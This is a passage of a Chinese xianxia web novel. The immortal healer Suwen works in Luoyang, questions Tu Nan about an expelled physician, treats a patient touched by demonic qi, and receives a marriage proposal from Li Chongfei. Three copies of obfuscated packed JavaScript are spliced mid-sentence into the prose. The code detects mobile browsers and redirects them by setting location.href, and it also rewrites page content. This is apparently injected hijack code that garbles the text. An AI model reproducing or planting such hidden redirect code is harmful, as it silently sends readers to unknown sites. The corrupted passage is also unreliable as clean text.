方灵枢见素问眉头轻蹙,似乎满怀心事,没再坚持,只道:“你等等。” 素问见方灵枢匆匆往柜台后去,便跟了上去,问道:“怎么了?需要我帮忙么?” 方灵枢笑着摇了摇头,从柜台下拿出了一个小瓷瓶和两个香囊递给素问:“这是祛暑药,还有两个防虫香囊,我看你随身也没带小包,恐怕没有准备。” 素问垂头看着瓷瓶和香囊,又抬头看向方灵枢,喃喃道:“我不……” “好了,不是急着回去么?”方灵枢将药塞到素问手里,道,“快去罢,我不送你了。” 素问握紧瓷瓶,临到门口,不禁回头看去,方灵枢温和地笑着,冲她挥了挥手,素问便回之一笑,抬脚离开医馆。 回去的路上,素问闭目沉入识海,这次司命星君很快就来了,一出现便问:“怎么了?” “小仙想请教星君,方灵枢的姻缘会应验哪一苦?” 司命星君挑了挑眉,奇道:“你为何想知道这个?” 素问如实道:“我觉得方灵枢和石水玉都很好,但一想到未来会遭受苦难……他们会分离么?” 司命星君垂眸,淡淡道:“或许会。” 素问瞪大眼睛,忙问道:“何时?生离还是死别?” “与你何干?”司命星君道,“你是在关心他们么?” 素问一怔,细细思考之后,郑重地点了点头:“不错。” 司命星君蓦然牵起嘴角,看似在笑,眉头又皱了起来,他背过身去,快速踱了几步,才又回过身来,近乎咬牙切齿地说道:“我以为瑶山真君叮嘱过你。” 素问一愣:“什么?” “你还记不记得自己为何来人间?”不等素问回答,司命星君冷了脸色,肃声道,“想起来了么?素问,你在人间只是为了给神尊转世治病,可莫要将自己卷入其中!万丈红尘,一旦深陷,轻则道心不稳,重则境界跌落,乃至于天人五衰,届时别说成神了,想留在仙界都难!” 素问哪里受过这样的吓唬,顿时心中大震,不自觉后退几步,颤声辩解:“小仙未曾……” “未曾深陷么?”司命星君负手睥睨,“相识不过数日,你便开始为他们的将来而担忧,若有朝一日真叫你目睹方灵枢经受苦难,你能做到袖手旁观?” 素问呆住,无言以对。 司命星君长叹一声,软了声音:“仙子从化形起便未曾离开过仙界,未经五蕴,不识世情,不是你的错,只是从今往后,你须得牢记固守本心,切勿推心置腹。凡尘几十载,终归是大梦一场,梦醒后,神仙各自归位,一切皆成云烟。” “小仙记住了。”素问颔首,“多谢星君指教。” 从识海中抽身而出,马车也缓缓驶达渡口,素问看着被自己握得温热的瓷瓶,摩挲片刻,还在放在了座旁,如去时一般,独自下了马车。 7. 金风玉露(七) 素问排空脑中的诸多念头,浑浑噩噩回到了医庐,不料一进门,便见窗边榻上躺了一个人,走近看清那人,素问不由吃了一惊:“图师兄?” 图南处在昏迷中。 素问稍一查看,便知问题所在,她伸手探向图南的后颈,果不其然感觉到有一处比其他地方更加温热——图南这是被人打晕了。诊断既下,素问就不着急了,她回头扫了一眼屋里,发现没有明月奴的踪迹,便扬声唤了一句,等了片刻,依旧无人应答,素问的目光便又落回到图南身上,喃喃道:“不会是明月奴下的手罢……” 猜测一起,素问不再迟疑,按住了图南的人中穴,片刻之后,他醒了过来。 刚醒的人还有些茫然,先感觉到后颈的疼痛,眯着眼睛回想了一会儿前因,然后才想起查看周遭环境,图南眼睛转了转,看到了素问,惊讶出声:“我怎么在这里?” “应当是明月奴带你回来了,是他……”素问一顿,感觉自己不能随意定罪,于是临时改了说法,“是谁打晕了你?” 图南神色古怪,问道:“你不知道?” 素问只能摇头。 图南闭了闭眼,叹道:“那我就更不知道了。” 素问一时辨别不出图南所说是真是假,便道:“明月奴可能清楚,师兄先歇着,我去找他过来。” 罪魁祸首自然不会真的等素问去寻,明月奴耳聪目明,听到这里,当即从榻上坐了起来,快步来到前屋。 素问还坐在图南身边,明月奴以拳抵唇,清了清嗓子。 素问回头看去,见明月奴一边挠着头发,一边左顾右盼地从后院进房,便问道:“你怎么咳嗽?图师兄怎么睡在这里?” 明月奴支吾道:“我没事,图师兄……嗯……我今日去皇城门边等图师兄下值,没想到看他倒在半路,所以我把他带回来了。” 方才还只是猜测,此时看了明月奴的态度,素问已然明白了原委,眉头不禁一皱,正在思索该如何处理,图南先开口了:“那要多谢你了。” 素问一怔:“图师兄?” 图南摸着后颈坐起身,笑道:“有个叫孙周安的同僚与我十分不对付,想必是他下的黑手,还好明月奴来找我,否则就算没有性命之忧,石板路躺久了也容易生病。” 明月奴看着图南,看上去很是茫然。 素问两头看看,思索一瞬,决定先交给他们自己处理,便起身道:“图师兄坐,我去给你倒杯水。” “好啊,刚好渴了。”图南笑呵呵地看着素问去了后院,目光转向明月奴后,笑意渐渐消失,他哼了一声,低声道,“我也不是帮你遮掩,只是不想素问夹在中间为难,说罢,找我何事?” 明月奴垂头道:“阿姐有事要问你。” 图南当即嗤笑:“我说呢,那日过后,你怎么还会来我面前?原来是怕交不了差!但是你也不想想,我今日先与你说了话,转头便遭了黑手,醒来又在这里,我会想不到是你打我?” 明月奴默然不语。 图南又问:“你这样对我,还指望我帮你?” “我没想让你帮我。”明月奴终于抬起头,实话实说,“若不是阿姐要寻你,我才懒得去找你,打你是我一个人的事,阿姐什么都不知道。” 图南冷笑:“很好,不管如何,坦荡有担当也是优点。” 明月奴不是受气的性子,粗声问:“你特地将阿姐支开,只为说这些?” “自然不是,我想问你,今日打晕我,你是为了带我来见素问,还是因为私怨?” “当然是为了阿姐,我不喜欢你,但也没到结私怨的地步。”明月奴说着,忍不住牵起嘴角,邪邪一笑,“真要与我结了私怨,那可就不是单单打晕就能了了。” “我明白了。”图南点了点头,“如此说来,我因为对你不满而不来见素问,倒更加幼稚——今日说开也好,往后你我二人井水不犯河水,我不管你,你也休来我跟前聒噪。至于素问,我不会迁怒于她,本来也是因为师门的托付才会多加关心,你们不喜,以后我就不再多管闲事了。” 明月奴隐隐觉得自己把事情办坏了,但想来想去也没觉得图南的提议有什么不好,便硬着脖子道:“这样最好。” “行了,你不是说素问找我,叫她过来罢。” 明月奴掉头就走,一只脚已经踏出门槛,到底还是停了下来,他回头道:“忘了说,今日打晕你是我不对,回头让你打回来便是。” 连道歉也说得硬邦邦。图南盯着明月奴看了一瞬,实在忍不住扶额,在这独处的间隙陷入了自省:对方明显是个不谙世事的孩子,脾气差没教养,不理就是了,自己做什么要与这样的人计较? “图师兄?” 图南抬头,发现素问已经进来了,手中拿着一个药瓶,有些担心地看着自己。方才虽说了狠话,图南见到素问,到底还是没有硬下心,他指着药瓶问道:“是你配制的?” 素问暗自松了口气,笑道:“对,师兄涂上试试。” 图南接过药瓶,拔开木塞闻了闻,夸道:“比我的秘方要好,我回去用。倒是你,明月奴几天前就来寻我,你是不是有急事?” “嗯,我想跟师兄打听一个人。”素问在图南身边坐下,道,“是谷中的一个前辈,姓张。” “姓张的前辈可不止一个,还有其他特征么?” 素问想了想,推测道:“他可能来过洛阳。” “我印象中,近二十年内应当没有这样一个人。”图南说罢,脸色忽然一变,迟疑道,“也不能这么说,有一个人……不过,你打听这个人做什么?” 素问察觉到不对劲,忙问道:“怎么了?他发生什么事了么?” “他死了。”图南神色肃然,“死之前被逐出了师门。 “那时我还小,只听说他犯了师门大忌,把谷主气得吐血,我想,大概是为了医术而不择手段,使用了禁术罢……” …… 素问坐在河边,看着暗沉沉的河水想了许久,也没法确认这位下场惨淡的张前辈与方灵枢口中的张神医是否为一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061027|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人,问过图南之后,似乎对她为方灵枢治病这件事并没有太大帮助。 明月奴在高几阶的台阶上坐着,托腮等着素问,眼见着天都要黑了,素问依旧在发呆,他只能慢慢挪了下去,坐到素问身边,嘀咕道:“我都说了罢,问图师兄没有用。” 素问眉头一动,回过神来,看向明月奴,问道:“图师兄到家了?” 明月奴点头:“我一路护送回去,不过没叫他瞧见,他家住址也记下了。” “辛苦你了。”素问温声道,“来说说罢,白天是怎么回事?” 明月奴很是勉强,纠结了好一会儿,到底还是从头到位将他与图南的冲突说了一遍。 素问听罢,愣了愣,道:“竟然好几天前就开始了?” 明月奴辩解道:“他太啰嗦,为人又谄媚,我刚见面就不喜欢。” 素问无言以对,沉默了好一会儿,才叹道:“何必如此?来人间这么久,你还看不明白么?不同的人有不同的个性与经历,自然为人处事也不相同,他并没有为难你,还处处帮着我们,仅仅因为表现得不如你意,你就要针对他?” 明月奴抱膝坐着,也不回答。 素问想了想,道:“也是我疏忽,只顾着自己,竟然没注意你们俩的龃龉,以至于你今日伤了他。明月奴,星君让我带你来洛阳,助我是其一,其二还是要助你修炼,妖想成仙并不容易,你要积攒功德,切记再不可如此凭一己喜恶行事了。” 明月奴皱眉:“若成仙便要舍弃本性,我做什么要去修仙?” 素问解释道:“并非要你舍弃本性,只是压制不好的一面。” 明月奴反问:“阿姐觉得我不好么?” 素问被噎住,只得道:“你没有不好,但可以变得更……” “没有不好就行了。”明月奴选择性忽视后面那句话,道,“只要身边的人觉得我好,我也不是一定要修炼成仙。” 素问原以为明月奴听从司命星君调遣,定是一心想要飞升,没想到一路走来,他修炼归修炼,对成仙却没有半点执念,甚至还有今日这种不屑一顾的时候。 素问感到不解,不知应如何帮助明月奴。 明月奴见素问满脸担忧地看着自己,便将话题岔开了去,道:“阿姐,张神医是为了给方灵枢治病,才会被药圣谷赶走么?” “我也在想这个问题。”素问道,“方灵枢的病很难治,所以神界才会让我带着灵药来到人间,张前辈是凡人,他治不好方灵枢,乃至于动用禁术,并非不可能。不过事实究竟如何,恐怕只有当事人才清楚了。” “方灵枢,或是他的家人一定知道。”明月奴献策,“看来不管是哪一条路,都得先与方灵枢混熟了才行,毕竟最后治病,也得正主点头,阿姐,急不得,我们慢慢来。” 素问叹道:“只能如此了。” “那你明日还去半钱医馆么?” 素问摇头:“不能总是去,那样不好。” 对方灵枢的姻缘不好,对自己……好像也不太好。 8. 金风玉露(八) 素问知道怎样做不好,却不知怎样做是好,离开昆仑之前,她以为自己只要心无旁骛地治病,没想到任务还没开始就已经遇到了麻烦。 人间比想象中要复杂不少。 素问凭借自己与江月见几百年交往的经验,勉力应对着,待要想得长远一些,却没有方向了。 “或许我们不该瞻前顾后,直接将方灵枢打……啊不,迷晕,然后诊脉,或者我努力修炼,学会迷心术后便可让他听从我们的安排,只要阿姐一声令下,我立刻就能行动。”明月奴想了一夜,一大清早便提出了新的对策。 “你修炼是对的,但是行医时,望、闻、问、切缺一不可,方灵枢若是失去神智,我们怎么问得出来?”素问摇头否决。 “可人间也有昏迷不醒或是神志不清的人啊,难道他们看不了病么?” 素问道:“看不了那么彻底,要想根治,还是清醒的好。” 明月奴沉默片刻,忽然道:“阿姐是怕神尊转世沾了妖气?” 素问从书本里抬起头,认真道:“自然不是,若是寻常病症,我不需诊脉都能治,但是方灵枢不一样,他原身受了多重的伤,这伤有多少成了转世的病症,有多少还深藏在元神之中,如今身体有哪些不适是后天而为,我都需要一一甄别。” 明月奴这才笑开:“不是就好,我以为阿姐也看不上我呢。” 素问无奈道:“怎么会?” 明月奴没再多想,他起身在屋中松快自己,转了两圈后,忽道:“咦?有人上门来了!” 素问抬头看向窗外,见到下马车的人,不禁奇道:“她竟真的来了?” 明月奴也认出了来人:“那是石水玉罢?” 说话间,石水玉已经来到门口,她先仰头看了看门匾,而后抬步进门,冲迎过来的素问笑道:“是我来太早了么?” 素问摇头:“已经开张了,是真的没人。” 石水玉目光在屋里转了一圈,不经意地问道:“衙内也不来么?” 素问一怔:“衙内?李衙内么?” “是啊,我听说开业那天有衙内来捧场,以他的性子,我以为他要常常赖在这里了。” 素问琢磨片刻,问道:“石小娘子来这里,是为了找李衙内么?” “当然不是。”石水玉果断否认,顿了顿,补充道,“我很喜欢这里,药香很好闻,半钱医馆有常年卧床的病人,到底有一股子臭男人味,还是这里好。” “医馆都是差不多的。”素问温声道,“石小娘子来这边坐罢。” 石水玉依言坐下,托腮笑道:“叫我水玉就好,你我二人看上去年龄相仿,论长幼倒落了俗套,我便唤你素问,如何?” 素问笑道:“我肯定比你大,你占了便宜,还敢说别人俗?” 石水玉被拆穿,也不在意,道:“我有一个朋友,身上有些小毛病,一直拖着不肯治,今日我让她来这里,估摸着快到了。” 明月奴皱起眉,想说什么,被素问一个眼神阻止,便重重哼了一声。 石水玉当做没听见,安然坐在医庐中,过了一刻,果真如她所说,一辆简陋的马车缓缓停在了门前。 石水玉抿住唇,神色忽然变得严肃起来,她直起身看着门外,注视着布帘打开,追随着落地的孱弱身影,直到那个人来到了门槛前。 来人是一个不大看得出年龄的女子,衣上补丁堆着补丁,能看出来是努力浆洗后的,但岁月还是深深留下了痕迹,如同头发一样,认真梳洗了,甚至抹过劣质的头油,但仍旧有不少杂发乱糟糟地戳出来,脸色就更不用说了,素问看着她,只想到一朵枯萎将死的花。 即便细看之下,这个女子不过双十年华。 女子交握双手,有些局促地站在门口。 素问放柔了声音,道:“你请进。” 女子这才抬起头,目光在屋内扫一遍,见到了石水玉,心定了定,习惯下垂的嘴角勉强牵起,她抬步跨进门槛,来到柜台前,低声道:“我……我想看病。” 素问引她来到诊案前,先切脉,再问了两句,心中已经有了定论,但还是有一种很奇怪的感觉,她说不上来,也诊不出,更加不知道这种感觉从何而来。 石水玉来到女子身后,问道:“怎么?朝馨的病不好治么?” 素问回神,道:“不难治,不过你以前有找过别的医师么?” 朝馨点头:“都说身子没什么问题,是心病。” 石水玉道:“我不懂医术,不过也知道《素问》有云,‘虚邪贼风,避之有时,恬淡虚无,真气从之,精神内守,病安从来。’朝馨的病,都是因家人而起,兼之劳累过度,年纪轻轻便有了虚损症,以往的医师都只能缓解一时,却治不了根。” 素问点头:“是这个道理,虚损症要治愈,吃药只能补上亏的部分,再往后,你要注意不可劳累。” 石水玉道:“这就很难了,连吃药补亏虚都难,何况以后?” 素问再次感受到治病容易救命难的悲哀,她暗自叹息,只能道:“我先给你配药。” 石水玉问:“诊金和药钱一共多少?” 素问道:“不用付,算是义诊。” “要给的。”石水玉笑道,“人是我带来的,自然我来负责她的药钱,你不用客套。” 话音刚落,一阵风打断了两人之间的推拉,石水玉眨眼的功夫,明月奴凭空出现在诊案前,她定睛看时,已是明月奴握着朝馨的手腕、而素问按住明月奴小臂的情形了。石水玉惊道:“这这这……” “明月奴从小擅长奔跑,来得快了些,水玉别见怪。”素问平静地说着,同时伸出右手,将朝馨的手腕解救出来,她冲朝馨安抚一笑,然后拉着明月奴到柜台后,低声问,“怎么?” 明月奴皱着眉头,解释道:“有魔气。” 素问奇道:“她是个实实在在的凡人。” “我也发现了,而且刚才一碰到她,那股魔气就不见了,真奇怪……”明月奴说着说着,声音更加低了,“难道是我看错了?” “或许不是。”素问没多说,她从柜台探出身,道,“对不住,我弟弟冒犯了,今日的医药费还是免去罢,权当赔不是。” 石水玉不再坚持,道:“多谢。” 朝馨缩在石水玉身后跟着点头,素问看不清她的神情,但先前那种奇怪的感觉确实消失了。 明月奴没看错。 素问一边想着,一边运笔如飞录病案、写药方,明月奴照着药方包好了七日的药,放到了柜台上。素问招呼朝馨:“拿去罢。” 石水玉将药放进朝馨怀里。 素问叮嘱道:“每日早晚服用,七日后再来复诊,我们看看恢复情况再调整用药。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061028|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>朝馨讷讷无言,只顾着点头。 送走医庐开张以来第一个病人后,素问重新回了柜台捣药,明月奴坐到窗边磨药,石水玉见他们如此淡然,难免惊讶,便坐到柜台前,主动道:“我以为你会问朝馨的身份。” 素问笑道:“她的身份难道不是病者么?” 石水玉一愣,自己也不禁一笑,不过片刻之后,她还是道:“其实她不是我的朋友,我们俩素昧平生,只见过两次面。” 素问难免好奇:“可是你对她的病情了如指掌。” “是,说素昧平生也不准确,我还是了解她的,只是她不了解我,只当我是一个大发善心的富家小娘子。”石水玉嗤笑一声,“其实我既不富,也不善良。” 素问缓了手上的动作,问道:“你对她有所图?” 石水玉想了想,摇头。 “那确实就是发善心了。”素问道。 石水玉沉默了好一会儿,才道:“我不是发善心,只是见她太可怜了。” 素问道:“她不是我见过最可怜的人。” “嗯,我也一样,只是……罢了。”石水玉蓦然意兴阑珊,起身道,“今日先去了,改天再来看你——唔,对了,要是朝馨身体恢复得好,我会让她多向别人夸你们医庐。” 素问笑道:“也不必刻意强求。” 石水玉笑着点了点头,不再停留,转身离开了医庐。 明月奴从窗户伸出头,目送石水玉远去了,才向素问道:“星君曾经说,到了人间后,勿要交浅言深,这个石小娘子也是奇怪,才见几回面,就与我们说这些,还贸然带人来看病——我不喜欢她。” 素问无奈:“你不喜欢的人也太多了。” 明月奴努力反思,发现还真是这么回事,不禁“啧”地一声。 “不过,她确实有些奇怪……”素问喃喃,却想不通石水玉目的何在,便暂时抛诸脑后,问,“你在那位朝馨娘子身上留香了么?” 石水玉点头:“她还没走远,我先跟着?” “不必了,七日后会再来的。”素问笑道,“你还是先去修炼,学会追踪才好。” “啊,是了是了!”明月奴手忙脚乱地放下了手中的东西,迟疑一瞬,又道,“阿姐,我似乎摸到进阶的边缘了,这会儿要是修炼,估计要闭关一段时间。” “这是好事呀!”素问喜道,“该早说才对!你快去,我为你护法!” “倒不必护法,我会结结界,只是这段时间没法陪在你身边。” 素问笑道:“别担心,我就在洛阳城里,最多去一去半钱医馆,而且实在不行,我还有星君所赠的木簪,不会有任何问题。” 明月奴想的却要多一些,一会儿觉得素问不安全,一会儿又怕她觉得孤独,但其实在瑶山真君离开仙界后,素问独自在仙界呆了很多年,直到江月见冒冒失失地闯进了洞府,否则可能直到现在,她都不曾与其他仙人交往。 然而江月见也是个时时消失的人,所以明月奴的闭关对于素问来说并没有任何影响。 她如往常一样经营着医庐,看着人当真渐渐多了些,偶尔闭店去半钱医馆转转,隔几天再与图南聊几句,日子过得十分快,在石水玉第二次带着朝馨来看病后,一日清晨,素问刚打开门板,忽然感觉到周遭灵气忽然齐齐往后院涌去,于是她知道,明月奴要出关了。 9. 金风玉露(九) 炼精化气,是谓元婴,从此以后,身体就不会轻易出现灵力枯竭的情况了,因为天地灵气皆为己所用。 明月奴将感官放大,轻而易举察觉到了周遭灵气流动,不过这些灵气十分不纯净,夹杂着丝丝黑气,和朝馨身上的如出一辙。想到朝馨,明月奴结印施法,立刻感觉到了自己的留香,确定了朝馨的方位。明月奴当即大喜,一骨碌跳起,拉开房门要去报喜,不期然迎面正见素问站在院中水杉树下,她正抬头看着树上的鸟窝。 明月奴有些委屈,抱臂留在屋里,道:“阿姐,我好不容易顺利出关,你却去看鸟窝。” “方才灵力流动,带起了风,鸟窝有些晃动,我担心小鸟掉出来。”素问收回目光,笑着冲明月奴招了招手,道,“来,我给你准备了礼物。” 明月奴立刻被哄好,喜滋滋地跟着素问来到柜台后,只见她从抽屉中取出一瓶白瓷瓶,明月奴问道:“这是?” “固灵丹,你出关的时候,我或许不在家,便将它留在此处,你看到我留在门口的纸条自然明白,不过现在这样更好,当面给你。” “多谢阿姐!”明月奴收下白瓷瓶,又道,“对了,你猜我现在到了什么境界。” 素问虽然不能施法,但这个问题却难不倒她:“元婴初期,想必五感通明,能习得追踪术了。” “是啊!我给阿姐演示!”明月奴说着,闭上眼睛施法,紧接着便皱起了眉头,“啧”地一声。 素问了解他,有些好笑地问:“图师兄来了?” 明月奴摇头。 “那是水玉?” 明月奴睁眼,道:“是李重琲!” 素问有些惊讶:“李衙内?” 明月奴重重地点头。 素问去开门,明月奴连忙帮着一起,两人放好门板后,素问走到门前,便见长街那头,李重琲迎着朝阳骑马而来,看见素问,他遥遥挥手,到跟前时,马还没停稳,他已经跳了下来,欣喜地问道:“叶医师如何知道我要来?莫非是心有灵犀一点通?” 素问:“……” “玩笑话,玩笑话。”李重琲插起腰,笑着冲医庐抬了抬下巴,问道,“叶医师生意如何?” “这几日还好。” 李重琲问道:“来的病人是男是女?” 素问回想一番,感觉有些不对,道:“都是女子。” “甚好。”李重琲微笑。 “怎么会好呢?”清脆的声音响起,石水玉一身湖绿长裙,从桥边款款而来。 李重琲眼睛一亮,道:“小娘子这么早?” 石水玉微微一笑,并不答话,到了近前,才道:“可怜素问还以为是因为别人不相信自己的医术,所以才会数日无人问津,浑不知罪魁祸首就在眼前。” 素问和李重琲同时问道:“此话怎讲?” 石水玉先问素问:“你进城那天,做了什么?”不待回答,她又继续道,“轻而易举救活了一个重伤垂死的人,大家都看见了,怎么还会对你的医术产生质疑?” 素问不解:“那为何……” “因为李衙内为你的医庐揭牌了呀!”石水玉摇头叹气,“如此一来,平民男子自然不敢上门,否则岂知自己不会是下一个方医师?贵族子弟更不必说了,他们不缺医师治病,哪怕有天仙在此,他们也不会冒着得罪李衙内的风险来这里。” 李重琲争辩:“我来揭牌是为了给叶医师撑腰,怎么被你说得竟成了坏事?” 石水玉依旧不理他,只向素问发问:“你出去时,有没有被人跟踪?” 素问想到自己去找方灵枢的时候,几次感觉到的人,不禁瞪大眼睛,连连点头。 “这就显而易见了,有人起了色心,又不敢得罪衙内,正在找机会呢!” 李重琲立刻道:“这么说,我来揭牌还是好处更大!不过到底是谁,竟敢对叶医师起歹心,若要被我发现,我定扒了他的皮!” 石水玉掩口一笑,道:“素问现在明白为何没人来了么?” 素问皱眉:“这倒是两难之境。” “不难,我先前说会渐渐有人,并不是安慰你,现在果真如此,也不是巧合。”石水玉耐心解释,“你去半钱医馆,别人瞧见几次,就会明白李衙内并不会对与你接触的男子赶尽杀绝,再者还有我带来女子医治,初时便有女病者来了,等日子一长,大家发现衙内嘴硬心软,男病者也会慕名而来。” 李重琲心情从方才的低谷立刻又回到了山峰,嘴角止不住地扬起,口中还要强调:“什么嘴硬心软?本衙内心可不软!” 素问想到方灵枢当时的伤势,也认为李重琲并非心软之人,同时也回过味来:石水玉这番拐弯抹角看似是与自己交谈,实则在捧李重琲,如一开始来医庐便要寻李重琲一样,她是有心接近李重琲的。 如此,方灵枢当初的“见义勇为”便显得有些可笑。 素问一点儿也不想笑,转身回了医庐。 石水玉很是敏锐,立刻察觉到了,她看向素问的背影,犹豫不过一瞬,果断跟进了屋。 李重琲忽然被晾到一边,懵了一会儿,才反应过来,等他走进医庐时,所见是两个美貌女子在说笑,当即被这份赏心悦目冲散了被忽略的不满,他凑上去问:“你们在聊什么?” “在说方医师呢。”石水玉回答。 李重琲眉头一皱:“说他做什么?” 石水玉笑道:“说方医师是个好人呀,医术好、人品佳,信服他的病人很多,前些时日,我在他那里遇到了素问,想来素问是去找方医师取经了。” 李重琲冷哼一声,颇为不屑。 素问来回看着两个人,忍不住插话:“李衙内,你还要去寻方医师的麻烦么?” 李重琲一愣,不解道:“我那天不是都给过教训了么?跟你说好放过他,我肯定要遵守诺言的。” “那就好。”素问松了口气,想了想,又道,“有些事……尤其是人心里的想法,是不可强求的,衙内还是不要强人所难了。” 李重琲不知想到什么,整个人气质蓦然一沉,他低头把玩着腰上的玉佩,漫不经心地问道:“比如呢?” “比如男女之情。”素问道。 玉佩掉了下去,在衣摆上晃动着,李重琲张着嘴,呆呆地看着素问:“哈?” “嗯,衙内好自为之。”素问认真点了点头。 李重琲“噗”地一声笑出声,马上又捂住脸,露出一双笑眼看着石水玉。 石水玉眼神流转,没有笑。 李重琲放下手,问:“你不觉得叶医师很可爱么?” 素问面无表情。 “我早就发现了,否则怎么会来呢?”石水玉垂眸,顿了顿,起身道,“我有些事,要先走了。” 李重琲奇道:“不是刚来,怎么就要走?” 石水玉没有回答,走出两步,又回头看向李重琲:“你不走?” “你先走,稍后……”李重琲耸着眉头,正要调笑,忽然想起素问还在旁边,不知怎么就下意识正经了起来,沉声道,“我不走啊,我寻叶医师有些事,小娘子走好。” 石水玉立刻转身,头也不回地走了。 “女子真是奇怪。”李重琲回过头,向素问道,“忽冷忽热的,也不知在想什么,叶医师你说对不对?” 素问不想回答,只问道:“李衙内是来看病么?” 李重琲:“……” 憋了片刻,总算开口:“我来看看叶医师。” “为何要看我?” 李重琲摸着下巴,思索片刻,蓦然眼睛一亮,素问直觉不妙,只听他道:“我今日来,是想求娶叶医师,虽则自己来有些失礼,但还是想先征得你的同意,再去寻媒人上门。” 素问瞪着眼睛看他,过了好一会儿,没见他反悔,傻傻道:“哈?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15061029|163002||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李重琲含情脉脉、柔声细语:“那日初见,我便对叶医师情根深种,此生所求,唯叶医师而已!” 素问道:“可是我与你并不相熟。” 李重琲道:“这世间多的是盲婚哑嫁,一样可以恩爱到老,相比较,我俩可比他们好多了。” 素问道:“我心里没有你,你方才那样说,可见心里也没有我,更加不可能情根深种,既然我们不能心意相通,又怎能结为伴侣?” 李重琲道:“可以慢慢通啊。” “不行,师父说过,我决不可动凡心。”素问摇头,“你还是死了这条心罢。” 李重琲忍笑:“什么不动凡心?你师父是哪个山沟里的老和尚不成?你放心,让我去见见他,保管他……”李重琲说着说着,不禁垂下了头,发现自己的脚竟然离地而起。 素问这才注意到他身后的明月奴,只是还没等她制止,一股大力紧随而去,下一刻,李重琲只觉身子一轻,整个人腾空而起,直接被扔进了洛河。 侍从原本依在河边栏杆闲磕,忽然眼前一花,只见一个华服影子从他们头顶飞过,落到了水里,好奇一看,原来是自家主人,顿时脸变了颜色,“扑通扑通”一片,转眼间全都跳进了河里,洛河顿时热闹得如同鸭子赶集—— “不得了不得了!” “哎呦!衙内!” “快救衙内!” 明月奴叉腰跟到河边,本来一身怒意,准备施法给他们点教训,见此情形,当即开怀大笑起来。 素问来到他旁边,责怪地拍他胳膊,提醒道:“别伤到了人。” “阿姐放心,我看着呢,死不了。” 洛河里,李重琲已经喝了好几口水,好在这会儿已经被侍从架起来了,神智还算清楚,他仰头看见明月奴,怒从中来,指着明月奴便要开骂,但紧接着便注意到旁边还站着素问,立刻又憋了回去。 明月奴笑意淡去,轻声道:“他有所图谋。” “左不过是治病的事,不管如何,他对我们并没有恶意。”素问说罢,推了推明月奴,道,“虽说天气热,到底是清晨,落了水还是容易染风寒,你去拉他们一把。” 明月奴不情不愿地走下河埠头,向水中众人伸出手,侍从们连忙将李重琲推过来,明月奴拉住了他的胳膊,两人对视一眼,李重琲便觉不好,果然明月奴又将他按进了水了,不等他挣扎,又直接将人拎上了岸。这一系列举动如行云流水,别说旁观者没看清,就是李重琲也差点以为自己将别人想坏了,但嗓子眼实打实的难受却不作假,他不由向明月奴投去怀疑的目光。 “哇——小郎君力气好大!”还在水里的鸭子们七嘴八舌地赞扬。 李重琲回身骂道:“死狗奴,力气不大怎么隔着街将我扔进水里?!” 众人方知原来是这么个过程,便纷纷口出脏言,向明月奴的祖宗们发起问候。 素问意念微动,从须弥戒里取出祛寒的丹药,走下台阶递给李重琲,道:“这瓶刚好有七粒,你们每人吃一粒,便不会生风寒了,不过衣服湿着总归不好,衙内快回家去换了罢。” 李重琲接过药,眼珠一转,向素问笑道:“风寒不见得有,但确实受惊不小,估计回头还要小娘子给诊治诊治。” 素问淡淡道:“只要不胡说,衙内随时来都行。” 李重琲又想辩解:“我没有……” “好了,看客越来越多,衙内如此狼狈,还是莫要逗留的好。”素问说罢,不再停留,转身上了台阶,回到了医庐里。 李重琲握紧药瓶,缓步走上岸,发现果然有人在偷看他,于是索性靠到了栏杆上,懒懒道:“看罢看罢,我倒要看看谁不想要眼睛。” 众人当即作鸟兽散。 素问听着外面的动静,心里起了疑惑:“他是什么身份?为何如此嚣张?” 明月奴当即请命前去打听,到了下午,便给素问带来了答案。 10. 金风玉露(十) 李重琲虽被称作“衙内”,却没有真的官职,他的父亲李从珂是如今这个“唐”政权的皇帝,今年正月刚刚登基。李重琲的母亲赵氏在李从珂还是节度使的时候跟了他,因正妻凶悍,李从珂不敢带赵氏入府,即便有了李重琲这个孩子,也只是外室。如今正妻做了皇后,依旧不允她母子二人入宫,作为交换,勉强同意李从珂将他们安置在洛阳。 李重琲经历过离乱之苦,又无法入宗庙,李从珂心中对他甚是愧疚,因此格外纵容了些,加上赵氏也不管他,名头才起来几个月,李重琲已成了城里人人避之不及的混世魔王。 素问察觉到漏洞:“若只因身世,难道不是从小就该知道么?为何说名头才起来几个月?” “想来是他老爹做了皇帝后,才开始如此嚣张。”明月奴推测道,“那个节度使权力也很大,但和皇帝比还是差一些罢,而且掌管的军镇也不在洛阳。” 